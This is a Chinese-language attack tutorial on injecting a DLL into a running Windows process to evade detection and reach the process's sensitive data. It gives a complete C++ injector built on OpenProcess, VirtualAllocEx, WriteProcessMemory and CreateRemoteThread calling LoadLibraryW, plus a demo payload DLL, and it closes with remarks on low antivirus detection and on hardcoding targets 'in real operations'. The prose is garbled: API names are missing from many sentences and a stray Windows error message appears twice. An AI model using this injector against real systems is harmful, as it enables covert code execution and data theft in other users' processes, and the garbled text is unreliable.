進程注入是將任意代碼寫入已經(jīng)運行的進程中并執(zhí)行,可以用來逃避檢測對目標目標進程中的敏感信息進行讀/寫/執(zhí)行訪問,還可以更改該進程的行為。
通過注入DLL
.dll,動態(tài)鏈接庫英文為DLL,是 Link 的縮寫。DLL是一個包含可由多個程序,同時使用的代碼和數(shù)據(jù)的庫。
Dll不能直接運行,應(yīng)用在從DLL調(diào)用函數(shù)的方法之一是通過運行時動態(tài)鏈接,即將DLL加載到程序的進程空間中以便可以調(diào)用其導(dǎo)出的函數(shù)時。
當應(yīng)用程序調(diào)用或函數(shù)時,系統(tǒng)會嘗試查找DLL,如果搜索成功,則系統(tǒng)將DLL模塊映射到進程的虛擬地址空間中,并增加引用計數(shù)。如果對或的調(diào)用指定了一個DLL,其代碼已映射到調(diào)用進程的虛擬地址空間中,則該函數(shù)將簡單地返回該DLL的句柄并增加DLL的引用計數(shù)。請注意,具有相同基本文件名和擴展名但在不同目錄中找到的兩個DLL不被視為相同的DLL。
系統(tǒng)在名為或的線程的上下文中調(diào)用入口點函數(shù)。如果進程已經(jīng)通過調(diào)用或調(diào)用了DLL,而沒有相應(yīng)地調(diào)用函數(shù),則不調(diào)用入口點函數(shù)。
如果系統(tǒng)找不到DLL或入口點函數(shù)返回FALSE,則或返回NULL。如果或成功,它將向DLL模塊返回一個句柄。進程可以使用該句柄在對,或read函數(shù)的調(diào)用中識別DLL
該的函數(shù)返回使用的手柄的,則或的read。所述的僅當DLL模塊被加載時聯(lián)或由先前調(diào)用已經(jīng)映射到進程的地址空間中函數(shù)成功的或。與或不同,不會增加模塊引用計數(shù)。該函數(shù)檢索模塊通過返回的句柄相關(guān)聯(lián)的完整路徑的,或。
該過程可以使用通過或,返回的DLL模塊句柄獲取DLL中導(dǎo)出函數(shù)的地址。
當不再需要DLL模塊時,該過程可以調(diào)用或read。如果引用計數(shù)為零,這些函數(shù)將減少模塊引用計數(shù),并從進程的虛擬地址空間取消DLL代碼的映射。
即使DLL不可用,運行時動態(tài)鏈接也可使進程繼續(xù)運行。然后,該過程可以使用替代方法來實現(xiàn)其目標。例如,如果某個進程無法找到一個DLL,則它可以嘗試使用另一個DLL,或者可以將錯誤通知用戶。如果用戶可以提供缺少的DLL的完整路徑另一個程序正在使用此文件 進程無法訪問,則該進程可以使用此信息來加載DLL,即使它不在常規(guī)搜索路徑中也是如此。這種情況與加載時鏈接形成對比,在加載時鏈接中,如果找不到DLL,系統(tǒng)將簡單地終止進程。
如果DLL使用函數(shù)對進程的每個線程執(zhí)行初始化,則運行時動態(tài)鏈接可能會導(dǎo)致問題,因為對于調(diào)用或之前存在的線程,不會調(diào)用入口點。
那么Dll從一開始就可以映射到進程的內(nèi)存中并執(zhí)行,所以我們可以利用Dll把shell注入到進程中。
創(chuàng)建有效載荷DLL
在 中創(chuàng)建新項目時,請在頂部欄中搜索“ dll”,然后選擇基本的DLL項目模板。
為項目選擇名稱和文件路徑后,將顯示以下代碼:
// dllmain.cpp : 定義 DLL 應(yīng)用程序的入口點。
BOOL APIENTRY DllMain( HMODULE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}
該項目模板包含方法的框架,該框架是DLL的入口點。如語句所示,它在4種情況下被調(diào)用:
1.
由于進程啟動或?qū)Φ恼{(diào)用,DLL正在被加載到當前進程的虛擬地址空間中。DLL可以利用此機會初始化任何實例數(shù)據(jù)或使用函數(shù)分配線程本地存儲(TLS)索引。
所述參數(shù)指示是否DLL被靜態(tài)或動態(tài)地裝載。
2.
正在從調(diào)用進程的虛擬地址空間中卸載DLL,因為它未成功加載或引用計數(shù)已達到零(進程每次調(diào)用都終止或調(diào)用一次)。所述參數(shù)指示是否DLL正在卸載的結(jié)果則呼叫,未能加載,或進程終止。DLL可以利用此機會來調(diào)用函數(shù),以釋放通過使用分配的所有TLS索引,并釋放任何線程本地數(shù)據(jù)。請注意,接收的線程
通知不一定與接收通知的線程相同
3.
當前進程正在創(chuàng)建一個新線程。發(fā)生這種情況時,系統(tǒng)將調(diào)用當前附加到該進程的所有DLL的入口點功能。該調(diào)用是在新線程的上下文中進行的。DLL可以利用此機會為線程初始化TLS插槽。使用調(diào)用DLL入口點函數(shù)的線程不會使用調(diào)用DLL入口點函數(shù)。
請注意,只有在進程加載DLL之后創(chuàng)建的線程才使用此值調(diào)用DLL的入口點函數(shù)。使用加載DLL時,現(xiàn)有線程不會調(diào)用新加載的DLL的入口點函數(shù)。
4.
線程正在干凈地退出。如果DLL已在TLS插槽中存儲了指向已分配內(nèi)存的指針,則它應(yīng)利用此機會釋放內(nèi)存。系統(tǒng)使用此值調(diào)用所有當前加載的DLL的入口點函數(shù)。該調(diào)用是在退出線程的上下文中進行的。
更多可以查看
https://docs.microsoft.com/en-us/windows/win32/dlls/dllmain
為了更好理解。我們可以依次使用上面的4種情況調(diào)用,然后觀察。
// dllmain.cpp : 定義 DLL 應(yīng)用程序的入口點。
BOOL APIENTRY DllMain( HMODULE hModule,
DWORD ul_reason_for_call,// ul_reason_for_call的值
LPVOID lpReserved
)
{ //注:我們也可以在這里執(zhí)行代碼
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
MessageBox(
NULL,
(LPCUWSTR)L"DLL_PROCESS_ATTACKH調(diào)用",
(LPCUTSTR)L"In DllMain",
MB_OK
);
case DLL_THREAD_ATTACH:
MessageBox(
NULL,
(LPCUWSTR)L"DLL_RHREAD_ATTACH調(diào)用",
(LPCUWSTR)L"In DllMain",
MB_OK
);
case DLL_THREAD_DETACH:
MessageBox(
NULL,
(LPCWSTR)L"DLL_THREAD_DETACH調(diào)用",
(LPCWSTR)L"In DllMain",
MB_OK
);
case DLL_PROCESS_DETACH:
MessageBox(
NULL,
(LPCWSTR)L"DLL_PROCESS_DETACH調(diào)用",
(LPCWSTR)L"In DllMain",
MB_OK
);
break;
}
//注:我們也可以在這里執(zhí)行代碼
return TRUE;
}
構(gòu)建項目(ctrl+b)后,我們可以使用.exe進行測試。但是需要調(diào)用一個導(dǎo)出的函數(shù)來運行我們的DLL,但是由于上面的代碼不會導(dǎo)出任何函數(shù),因此我們構(gòu)造一個偽函數(shù) #1:
C:\Windows\System32\rundll32.exe LoadLiBrary-inject-Dll.dll #1
構(gòu)造注入程序
是 API中的一個函數(shù),它可以將一個DLL加載到調(diào)用進程和調(diào)用的內(nèi)存中(將指定的模塊加載到調(diào)用進程的地址空間中)
使用語法
C ++
HMODULE WINAPI LoadLibrary(
_In_ LPCTSTR lpFileName
);
https://docs.microsoft.com/en-us/windows/win32/api/libloaderapi/nf-libloaderapi-loadlibrarya
使用參數(shù)定義加載的DLL的路徑,所以我們需要將有效負載DLL的絕對路徑寫入目標進程。在目標進程的地址空間中存在該字符串之后,使目標進程以該字符串作為參數(shù)執(zhí)行。
ok,我們打開
我們使用 函數(shù)用來打開一個已存在的進程對象,并獲取進程的句柄。
processHandle = OpenProcess(PROCESS_ALL_ACCESS,
FALSE,
PID);
if (processHandle == NULL) {
printf("無法打開PID進程:%d", PID);
return 0;
}
使用獲取我們定義的DLL路徑
TCHAR relativePath[BUFSIZE] = TEXT("");
TCHAR absolutePath[BUFSIZE] = TEXT("");
SIZE_T absolutePathSize = 0;
std::cout << "\n句柄已打開,請輸入要注入的DLL::\n";
std::wcin >> relativePath;
// https://docs.microsoft.com/en-us/windows/win32/api/fileapi/nf-fileapi-getfullpathnamew
if (!GetFullPathNameW(relativePath,
BUFSIZE,
absolutePath,
NULL)
) {
printf("找不到絕對路徑 %s", relativePath);
return 0;
}
else {
absolutePathSize = sizeof(absolutePath);
wprintf(L"絕對路徑: %s, size: %d\n", absolutePath, absolutePathSize);
????
但是我們需要考慮到某些字符串是寬字符串,而不是ANSI。在寬字符串中,每個字符分配2個字節(jié),而不是一個字節(jié)。請注意,由-設(shè)置W的末尾意味著返回的路徑將是一個寬字符串。在TEXT()中可以確保我們使用的是正確的編碼。
然后使用 函數(shù)在指定進程中提交內(nèi)存區(qū)域。
LPVOID bufferAddressInTargetProcess;
printf("\n試圖分配緩沖區(qū)的大小:%d PID:%d...\n", absolutePathSize, PID);
// https://docs.microsoft.com/en-us/windows/win32/api/memoryapi/nf-memoryapi-virtualallocex
bufferAddressInTargetProcess = VirtualAllocEx( processHandle,
NULL,
absolutePathSize,
MEM_COMMIT | MEM_RESERVE,
PAGE_EXECUTE_READWRITE);
if (!bufferAddressInTargetProcess) {
printf("在PID中分配緩沖區(qū)失敗 %d\n", PID);
return 0;
????
使用寫入打開進程的內(nèi)存區(qū)域。
wprintf(L"在目標進程中的地址%#010x處分配緩沖區(qū)正在嘗試向所分配的緩沖區(qū)寫入絕對路徑...", bufferAddressInTargetProcess);
// https://docs.microsoft.com/en-us/windows/win32/api/memoryapi/nf-memoryapi-writeprocessmemory
if (!WriteProcessMemory( processHandle,
bufferAddressInTargetProcess,
absolutePath,
absolutePathSize,
NULL )
) {
printf("無法寫入分配緩沖區(qū)的絕對路徑 %d\n", bufferAddressInTargetProcess);
return 0;
}
使用和找到目標進程中需要調(diào)用的函數(shù)的地址。
具體可以參考:
LPVOID loadLibraryAddress;
// https://docs.microsoft.com/en-us/windows/win32/api/libloaderapi/nf-libloaderapi-getprocaddress
// https://docs.microsoft.com/en-us/windows/win32/api/libloaderapi/nf-libloaderapi-getmodulehandlea
loadLibraryAddress = (LPVOID)GetProcAddress( GetModuleHandle(TEXT("KERNEL32.DLL")),
"LoadLibraryW");
使用創(chuàng)建一個在其它進程地址空間中運行的線程(也稱:創(chuàng)建遠程線程)
std::cout << "\nInjecting...\n";
HANDLE remoteThread;
// https://docs.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-createremotethread
remoteThread = CreateRemoteThread( processHandle,
NULL,
0,
(LPTHREAD_START_ROUTINE)loadLibraryAddress,
bufferAddressInTargetProcess,
0,
NULL
);
WaitForSingleObject(remoteThread, INFINITE);
return 0;
到這里基本上所有的代碼都ok了
1.獲取有效載荷DLL的絕對路徑,該絕對路徑將被寫入目標進程。
2.打開目標進程的句柄。
3.來分配你的目標進程中的緩沖,這將是其中的絕對路徑寫入到目標進程的內(nèi)部。
4.,用于將有效負載的路徑寫入目標進程內(nèi)部分配的緩沖區(qū)。
5.打開對.dll(導(dǎo)出的DLL)的句柄。
6.一旦有了.dll的句柄,便可以通過查找的地址
7.在目標進程中創(chuàng)建一個新線程,該線程將使用有效負載的路徑作為參數(shù)來調(diào)用。
// LoadLiBrary-inject-DLlC++.cpp : 此文件包含 "main" 函數(shù)。程序執(zhí)行將在此處開始并結(jié)束。
//
constexpr DWORD UUSIZE = 4096;
int main()
{
DWORD PID;
std::cout << "請輸入你需要注入的PID \n";
std::cin >> PID;
HANDLE processHandle;
std::cout << "正在寫入內(nèi)存 \n";
processHandle = OpenProcess(
PROCESS_ALL_ACCESS,
FALSE,
PID);
if (processHandle == NULL) {
printf("未能為PID%d打開進程", "PID");
return 0;
}
TCHAR relativePath[BUFSIZE] = TEXT("");
TCHAR absolutePath[BUFSIZE] = TEXT("");
SIZE_T absolutePathSize = 0;
std::cout << "句柄已打開,請輸入要注入的DLL:\n";
std::wcin >> relativePath;
if (!GetFullPathNameW(relativePath,
BUFSIZE,
absolutePath,
NULL)
) {
printf("未能找到 %s 的絕對路徑", relativePath);
return 0;
}
else {
absolutePathSize = sizeof(absolutePath);
wprintf(L"Absolute path: %s size:%d\n", absolutePath, absolutePathSize);
}
LPVOID bufferAddressInTargetProcess;
printf("\n嘗試在PID%d中分配大小為%d的緩沖區(qū)…\n", absolutePathSize, PID);
bufferAddressInTargetProcess = VirtualAllocEx(
processHandle,
NULL,
absolutePathSize + 200,
MEM_COMMIT | MEM_RESERVE,
PAGE_EXECUTE_READWRITE);
wprintf(L"在目標進程中的地址 %#010x 處分配緩沖區(qū)..\n\n正在嘗試向所分配的緩沖區(qū)寫入絕對路徑...", bufferAddressInTargetProcess);
if (!WriteProcessMemory(processHandle,
bufferAddressInTargetProcess,
absolutePath,
absolutePathSize,
NULL)
) {
printf("未能將絕對路徑寫入%d處分配的緩沖區(qū) \n", bufferAddressInTargetProcess);
return 0;
}
LPVOID loadLibraryAddress;
loadLibraryAddress = (LPVOID)GetProcAddress( // https://docs.microsoft.com/en-us/windows/win32/api/libloaderapi/nf-libloaderapi-getprocaddress
GetModuleHandle(TEXT("KERNEL32.DLL")), // https://docs.microsoft.com/en-us/windows/win32/api/libloaderapi/nf-libloaderapi-getmodulehandlea
"LoadLibraryW"
);
std::cout << "\n 注入中...\n";
HANDLE remoteThread;
remoteThread = CreateRemoteThread(
processHandle,
NULL,
0,
(LPTHREAD_START_ROUTINE)loadLibraryAddress,
bufferAddressInTargetProcess,
0,
NULL
);
WaitForSingleObject(remoteThread, INFINITE);
return 0;
}
// 運行程序: Ctrl + F5 或調(diào)試 >“開始執(zhí)行(不調(diào)試)”菜單
// 調(diào)試程序: F5 或調(diào)試 >“開始調(diào)試”菜單
// 入門使用技巧:
// 1. 使用解決方案資源管理器窗口添加/管理文件
// 2. 使用團隊資源管理器窗口連接到源代碼管理
// 3. 使用輸出窗口查看生成輸出和其他消息
// 4. 使用錯誤列表窗口查看錯誤
// 5. 轉(zhuǎn)到“項目”>“添加新項”以創(chuàng)建新的代碼文件,或轉(zhuǎn)到“項目”>“添加現(xiàn)有項”以將現(xiàn)有代碼文件添加到項目
// 6. 將來,若要再次打開此項目,請轉(zhuǎn)到“文件”>“打開”>“項目”并選擇 .sln 文件
編譯就可以使用了
查殺不是很多另一個程序正在使用此文件 進程無法訪問,在實戰(zhàn)中可以根據(jù)需要對PID和DLL路徑進行硬編碼,或者在調(diào)用時將它們作為參數(shù)輸入命令行中。